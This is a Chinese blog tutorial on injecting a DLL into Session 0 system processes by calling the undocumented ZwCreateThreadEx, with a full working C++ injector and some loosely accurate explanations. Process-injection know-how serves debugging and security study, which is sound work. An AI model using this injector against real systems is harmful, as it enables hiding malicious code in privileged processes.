当前位置: 首页 > news >正文

3.3 DLL注入:突破会话0强力注入

Session是Windows系统的一个安全特性,该特性引入了针对用户体验提高的安全机制,即拆分Session 0和用户会话,这种拆分Session 0Session 1的机制对于提高安全性非常有用,这是因为将桌面服务进程,驱动程序以及其他系统级服务取消了与用户会话的关联,从而限制了攻击者可用的攻击面。

由于DLL注入在Session 0中的注入机制不同于在用户会话中的注入机制,因此需要特别的考虑和处理。如果需要执行DLL注入,必须使用过度级别安全机制解决Session 0上下文问题,并且在设计安全方案时,必须考虑Session 0Session 1之间的区别。

在之前的远程线程注入章节中,我们通过使用CreateRemoteThread()这个函数来完成线程注入,此方式可以注入普通的进程,但却无法注入到系统进程中,因为系统进程是处在SESSION0高权限级别的会话层,由于CreateRemoteThread()底层会调用ZwCreateThreadEx()这个未公开的内核函数,所以当我们调用该函数的底层函数时则可实现突破Session0的注入机制。

由于该内核函数并未被导出,所以我们必须找到该函数的原型定义,并通过GetProcAddress获取到ntdll.dll模块下的ZwCreateThreadEx的函数地址,并通过ZwCreateThreadEx函数指针直接调用模块;

#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endif

当拿到ZwCreateThreadEx函数指针时,则接下来就可以调用了,ZwCreateThreadEx 可以用于创建一个远程线程,即在目标进程中创建一个线程,并在这个线程中运行指定的代码。与CreateRemoteThread不同,ZwCreateThreadEx可以用于创建一个在指定进程的上下文之外的线程,即可以创建一个与指定进程无关的线程。

它的函数原型定义如下:

NTSYSAPI NTSTATUS NTAPI ZwCreateThreadEx(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,HANDLE ProcessHandle,PVOID StartRoutine,PVOID Argument,ULONG CreateFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,PPS_ATTRIBUTE_LIST AttributeList);

其参数说明如下:

  • ThreadHandle 用于返回创建的线程句柄的指针。
  • DesiredAccess 用于指定线程句柄的访问权限。
  • ObjectAttributes 一个指向 OBJECT_ATTRIBUTES 结构的指针,指定线程对象的对象名和安全性属性。
  • ProcessHandle 目标进程的句柄,即在哪个进程中创建新线程。
  • StartRoutine 一个指向新线程的入口点的指针。
  • Argument 第二个参数传递给新线程的指针。
  • CreateFlags 指定创建线程的属性,如堆栈大小、创建标志、线程属性等。
  • ZeroBits 保留参数,应该传递0。
  • StackSize 线程堆栈大小。
  • MaximumStackSize 线程堆栈的最大大小。
  • AttributeList 指向结构 PS_ATTRIBUTE_LIST,该结构可以用于在线程创建时指定各种属性。

具备了上述基本条件那么注入代码的事项将变得非常容易,如下代码是这个注入程序的完整实现流程,读者可自行测试注入效果;

#include <windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>// 传入进程名称返回该进程PID
DWORD FindProcessID(LPCTSTR szProcessName)
{DWORD dwPID = 0xFFFFFFFF;HANDLE hSnapShot = INVALID_HANDLE_VALUE;PROCESSENTRY32 pe;pe.dwSize = sizeof(PROCESSENTRY32);hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);Process32First(hSnapShot, &pe);do{if (!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile)){dwPID = pe.th32ProcessID;break;}} while (Process32Next(hSnapShot, &pe));CloseHandle(hSnapShot);return dwPID;
}// 强力注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pDllName)
{HANDLE hProcess = NULL;SIZE_T dwSize = 0;LPVOID pDllAddr = NULL;FARPROC pFuncProcAddr = NULL;HANDLE hRemoteThread = NULL;DWORD dwStatus = 0;// 打开注入进程hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);if (NULL == hProcess){return FALSE;}// 在注入进程中申请内存dwSize = sizeof(char) + lstrlen(pDllName);pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);if (NULL == pDllAddr){return FALSE;}// 向申请的内存中写入数据if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pDllName, dwSize, NULL)){return FALSE;}// 加载ntdll.dll模块HMODULE hNtdllDll = LoadLibrary("ntdll.dll");if (NULL == hNtdllDll){return FALSE;}// 获取LoadLibraryA函数地址pFuncProcAddr = GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");if (NULL == pFuncProcAddr){return FALSE;}// 获取ZwCreateThread函数地址
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endiftypedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");if (NULL == ZwCreateThreadEx){return FALSE;}// 调用函数执行强力注入dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,(LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);if (NULL == hRemoteThread){return FALSE;}// 关闭句柄CloseHandle(hProcess);FreeLibrary(hNtdllDll);return TRUE;
}int main(int argc, char *argv[])
{DWORD pid = FindProcessID("lyshark.exe");std::cout << "进程PID: " << pid << std::endl;bool flag = ZwCreateThreadExInjectDll(pid, (char *)"d://hook.dll");std::cout << "注入状态: " << flag << std::endl;return 0;
}

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/102cca99.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

相关文章:

3.3 DLL注入:突破会话0强力注入

Session是Windows系统的一个安全特性&#xff0c;该特性引入了针对用户体验提高的安全机制&#xff0c;即拆分Session 0和用户会话&#xff0c;这种拆分Session 0和Session 1的机制对于提高安全性非常有用&#xff0c;这是因为将桌面服务进程&#xff0c;驱动程序以及其他系统级…...

C语言 —— 初步入门知识(内存、指针、结构体)

本篇文章将接着上篇继续介绍C语言的基础知识&#xff0c;那么对于C语言大部分初学者会觉得难以理解&#xff0c; 所以作者将指针单独拿出来写篇较短的文章进行讲解。 1.指针 1.1 内存 要学习指针&#xff0c;就先要了解内存。一起来看。 内存是计算机中的关键组成部分&#xff…...

PHP8中字符串与数组的转换-PHP8知识详解

在php8中使用explode()函数和implode()函数实现字符串和数组之间的转换。 1、使用explode()函数把字符串按照一定的规则拆分为数组中的元素&#xff0c;并且形成数组。 使用explode()函数把字符串转换数组&#xff0c;示范代码&#xff1a; <?php $string "html,cs…...

Wordtune:文本编辑工具

【产品介绍】 名称 Wordtune 上线时间 成立于2018年。​ 具体描述 Wordtune是一款基于人类智能的文本编辑工具&#xff0c;它可以帮助用户快速修改和重写英文&#xff0c;以改进文本的清晰度、流畅度和可读性。Wordtune使用先进的自然语言处理技术&#x…...

notifyIcon动态图标

定时器内调用下面代码 代码如下&#xff1a; if(DateTime.Now.Second % 2 0) {notifyIcon1.Icon new System.Drawing.Icon(Application.StartupPath "\abc.ico");}else{notifyIcon1.Icon new System.Drawing.Icon(Application.StartupPath "\abc2.ico"…...

2023年墨西哥 SP/BMV IPC 研究报告

第一章 指数概况 1.1 指数基本情况 墨西哥 S&P/BMV IPC 指数衡量在墨西哥证券交易所 (Bolsa Mexicana de Valores, BMV)上市&#xff0c;规模最大、流动性最高的股票表现。提供一个覆盖墨西哥股市的广泛、具有代表性且可轻易复制的指数。根据多元化要求&#xff0c;按市值…...

JWT生成与解析/JWT令牌前端存储

第一步&#xff1a;创建项目 添加Maven依赖&#xff1a; <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.62</version> </dependency> <dependency><groupId>org.s…...

[交互]前端展示服务端获取的图片

可以通过以下步骤从服务端获取图片&#xff1a; 引入axios库&#xff1a;在前端代码中使用axios库来发送HTTP请求。可以通过以下方式引入axios&#xff1a; import axios from axios;发送请求&#xff1a;使用axios发送HTTP请求&#xff0c;获取图片文件的二进制数据。发送请求…...

LeetCode2.两数相加

一看完题&#xff0c;我的想法是先算出这两个链表表示的数&#xff0c;然后相加&#xff0c;然后把这个数一位一位的分配给第三个数组&#xff0c;这种方法应该很简单但是要遍历三次数组&#xff0c;于是我就想直接一遍遍历&#xff0c;两个链表同时往后面遍历&#xff0c;把这…...

Linux编译过程与交叉编译

一.GCC由来 GCC&#xff08;GNU编译器套件&#xff09;是一个自由开源的编程工具集&#xff0c;用于编译和链接C、C和其他编程语言的程序。它由理查德斯托曼&#xff08;Richard Stallman&#xff09;和其他自由软件基金会&#xff08;Free Software Foundation&#xff09;的…...

MediaPipe+OpenCV 实现实时手势识别(附Python源码)

MediaPipe官网&#xff1a;https://developers.google.com/mediapipe MediaPipe仓库&#xff1a;https://github.com/google/mediapipe 一、MediaPipe介绍 MediaPipe 是一个由 Google 开发的开源跨平台机器学习框架&#xff0c;用于构建视觉和感知应用程序。它提供了一系列预训…...

为什么选择C/C++内存检测工具AddressSanitizer?如何使用AddressSanitizer?

目录 1、C程序中的内存问题 2、AddressSanitizer是什么&#xff1f; 3、AddressSanitizer内存检测原理简述 3.1、内存映射 3.2、插桩 4、为什么选择AddressSanitizer&#xff1f; 4.1、Valgrind介绍 4.2、AddressSanitizer在速度和内存方面为什么明显优于Valgrind 4.3…...

获取vue当前页面url问号后面的参数

除了使用 window.location.search 或 Vue Router 的 $route.query 来获取 URL 问号后面的参数之外&#xff0c;您还可以使用 JavaScript 中的正则表达式来解析 URL 中的参数部分。以下是一个示例&#xff1a; // 获取当前页面的完整 URL const currentURL window.location.hre…...

Linux编程之线程池的设计与实现

Linux编程之线程池的设计与实现&#xff08;C98&#xff09; 代码 假设服务器的硬件资源“充裕”&#xff0c;那么提高服务器性能的一个很直接的方法就是空间换时间&#xff0c; 即“浪费”服务器的硬件资源&#xff0c;以换取其运行效率。 提升服务器性能的一个重要方法就是…...

stm32---定时器输入捕获

一、输入捕获介绍 在定时器中断实验章节中我们介绍了通用定时器具有多种功能&#xff0c;输入捕获就是其中一种。 STM32F1除了基本定时器TIM6和TIM7&#xff0c;其他定时器都具有输入捕获功能 。输入捕获可以对输入的信号的上升沿&#xff0c;下降沿或者双边沿进行捕获&#xf…...

打造生产级Llama大模型服务

对于任何想要尝试人工智能或本地LLM&#xff0c;又不想因为意外的云账单或 API 费用而感到震惊的人&#xff0c;我可以告诉你我自己的旅程是如何的&#xff0c;以及如何开始使用廉价的消费级硬件执行Llama2 推理 。 这个项目一直在以非常活跃的速度发展&#xff0c;这使得它非…...

Acwing 828. 模拟栈

Acwing 828. 模拟栈 题目要求思路讲解代码展示 题目要求 思路讲解 栈&#xff1a;先进后出 队列&#xff1a;先进先出 代码展示 #include <iostream>using namespace std;const int N 100010;int m; int stk[N], tt;int main() {cin >> m;while (m -- ){string o…...

初识Docker

文章目录 Docker安装Docker简介1.什么是虚拟化、容器化?2. 为什么需要虚拟化、容器化&#xff1f;3. 虚拟化的实现方式主机虚拟化的实现方式容器虚拟化实现 4. 虚拟机和Docker的区别 Docker安装 基于Centos7进行安装 1.确认系统版本和CPU架构&#xff0c;Centos7的x86_64架构…...

HTTPS Tomcat Servlet 博客系统 软件测试的概念 Linux

第 1 题&#xff08;多选题&#xff09; 题目名称&#xff1a; 以下关于http和https说法正确的是 题目内容&#xff1a; A .http是超文本传输协议 B .https是超文本传输安全协议 C .http是明文传输 D .https是加密传输 第 2 题&#xff08;单选题&#xff09; 题目名称…...

​云南财经大学《乡村振兴战略下传统村落文化旅游设计》许少辉八一著作

​云南财经大学《乡村振兴战略下传统村落文化旅游设计》许少辉八一著作...

idea大量爆红问题解决

问题描述 在学习和工作中&#xff0c;idea是程序员不可缺少的一个工具&#xff0c;但是突然在有些时候就会出现大量爆红的问题&#xff0c;发现无法跳转&#xff0c;无论是关机重启或者是替换root都无法解决 就是如上所展示的问题&#xff0c;但是程序依然可以启动。 问题解决…...

Qt/C++开发监控GB28181系统/取流协议/同时支持udp/tcp被动/tcp主动

一、前言说明 在2011版本的gb28181协议中&#xff0c;拉取视频流只要求udp方式&#xff0c;从2016开始要求新增支持tcp被动和tcp主动两种方式&#xff0c;udp理论上会丢包的&#xff0c;所以实际使用过程可能会出现画面花屏的情况&#xff0c;而tcp肯定不丢包&#xff0c;起码…...

Xshell远程连接Kali(默认 | 私钥)Note版

前言:xshell远程连接&#xff0c;私钥连接和常规默认连接 任务一 开启ssh服务 service ssh status //查看ssh服务状态 service ssh start //开启ssh服务 update-rc.d ssh enable //开启自启动ssh服务 任务二 修改配置文件 vi /etc/ssh/ssh_config //第一…...

PHP和Node.js哪个更爽?

先说结论&#xff0c;rust完胜。 php&#xff1a;laravel&#xff0c;swoole&#xff0c;webman&#xff0c;最开始在苏宁的时候写了几年php&#xff0c;当时觉得php真的是世界上最好的语言&#xff0c;因为当初活在舒适圈里&#xff0c;不愿意跳出来&#xff0c;就好比当初活在…...

中南大学无人机智能体的全面评估!BEDI:用于评估无人机上具身智能体的综合性基准测试

作者&#xff1a;Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位&#xff1a;中南大学地球科学与信息物理学院论文标题&#xff1a;BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接&#xff1a;https://arxiv.…...

c++ 面试题(1)-----深度优先搜索(DFS)实现

操作系统&#xff1a;ubuntu22.04 IDE:Visual Studio Code 编程语言&#xff1a;C11 题目描述 地上有一个 m 行 n 列的方格&#xff0c;从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子&#xff0c;但不能进入行坐标和列坐标的数位之和大于 k 的格子。 例…...

智能在线客服平台:数字化时代企业连接用户的 AI 中枢

随着互联网技术的飞速发展&#xff0c;消费者期望能够随时随地与企业进行交流。在线客服平台作为连接企业与客户的重要桥梁&#xff0c;不仅优化了客户体验&#xff0c;还提升了企业的服务效率和市场竞争力。本文将探讨在线客服平台的重要性、技术进展、实际应用&#xff0c;并…...

对WWDC 2025 Keynote 内容的预测

借助我们以往对苹果公司发展路径的深入研究经验&#xff0c;以及大语言模型的分析能力&#xff0c;我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际&#xff0c;我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测&#xff0c;聊作存档。等到明…...

C++ 基础特性深度解析

目录 引言 一、命名空间&#xff08;namespace&#xff09; C 中的命名空间​ 与 C 语言的对比​ 二、缺省参数​ C 中的缺省参数​ 与 C 语言的对比​ 三、引用&#xff08;reference&#xff09;​ C 中的引用​ 与 C 语言的对比​ 四、inline&#xff08;内联函数…...

ElasticSearch搜索引擎之倒排索引及其底层算法

文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...